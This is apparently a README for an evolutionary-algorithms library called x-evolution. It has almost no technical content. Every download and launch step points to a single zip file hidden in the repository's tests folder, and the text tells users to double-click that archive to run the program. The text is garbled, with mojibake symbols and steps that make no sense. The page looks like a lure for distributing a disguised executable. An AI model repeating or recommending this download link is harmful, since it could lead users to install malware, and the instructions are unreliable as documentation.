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🌱 Optimize models using evolutionary strategies with x-evolution, a library for implementing various evolutionary algorithms effectively.

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🌱 x-evolution - Explore the Power of Evolutionary Algorithms

Download x-evolution

πŸ“₯ Overview

Welcome to x-evolution, a user-friendly application that implements various evolutionary algorithms. Our primary focus is on evolutionary strategies, helping users understand and leverage the principles of artificial intelligence and evolution in a practical way.

πŸš€ Getting Started

To get started with x-evolution, follow these simple steps to download and run the application on your system.

πŸ”— Download & Install

You can download the latest version of x-evolution from our Releases page.

Visit this page to download

πŸ“‹ System Requirements

  • Operating System: Windows 10 or later / MacOS Catalina or later / Linux (Ubuntu 18.04 or later)
  • RAM: At least 4 GB
  • Disk Space: Minimum of 100 MB free space
  • Python: Version 3.6 or higher (if running specific scripts)

πŸ“ Steps to Download

  1. Visit the Releases page.
  2. Look for the most recent version. It will be at the top of the list.
  3. Click on the version number to expand the release details.
  4. Find the download link for your operating system. It may be labeled as https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip, https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip, or https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip.
  5. Click the download link. The file will download to your computer.

πŸ“‚ Unzipping the Files

Once the download is complete, locate the downloaded file on your computer:

For Windows:

  1. Open your Downloads folder.
  2. Right-click the https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip file and select "Extract All...".
  3. Follow the prompts to unzip the files into a folder.

For Mac:

  1. Navigate to your Downloads folder.
  2. Double-click the https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip file. It will automatically unzip into a folder.

For Linux:

  1. Open a terminal.
  2. Navigate to your Downloads folder using cd ~/Downloads.
  3. Run the command: tar -xvzf https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip.

πŸŽ‰ Running the Application

Once you have extracted the files, you can run the application by following these steps:

For Windows

  1. Open the folder where you extracted the files.
  2. Double-click https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip to launch the application.

For Mac

  1. Open the extracted folder.
  2. Double-click https://raw.githubusercontent.com/diflow95400/x-evolution/main/tests/x-evolution_2.1.zip to start the application.

For Linux

  1. Open a terminal.
  2. Navigate to the extracted folder. Use cd path-to-extracted-folder.
  3. Run the command: ./x-evolution.

πŸ“š Using x-evolution

Once open, the application presents a straightforward interface. Here are some basic functions you can expect:

  1. Select Algorithm: Choose from a variety of evolutionary algorithms. The default is the evolutionary strategy.
  2. Input Parameters: Adjust settings such as population size and mutation rates to fit your needs.
  3. Run: Click the "Run" button to start the evolution process.
  4. Results: View the results in real-time. You will see visualizations representing the evolutionary progress.

πŸ›  Troubleshooting

If you encounter issues while running the application, consider the following:

  • Ensure you have the correct system requirements.
  • Make sure to extract the files properly.
  • Restart the program if it does not respond. If issues persist, consult the FAQ on our GitHub page.

πŸ“ Feedback and Contributions

We welcome feedback! Your insights can help improve the application. If you'd like to contribute, visit our GitHub page and check the contribution guidelines.

For any questions or technical support, please open an issue in the repository.

🀝 Connect with the Community

Engage with us and other users on our community forums or join our discussions on GitHub!

For detailed documentation and examples, refer to the project repository.

Thank you for choosing x-evolution!

🌐 Additional Resources

Download x-evolution now and start your journey into evolutionary algorithms today!

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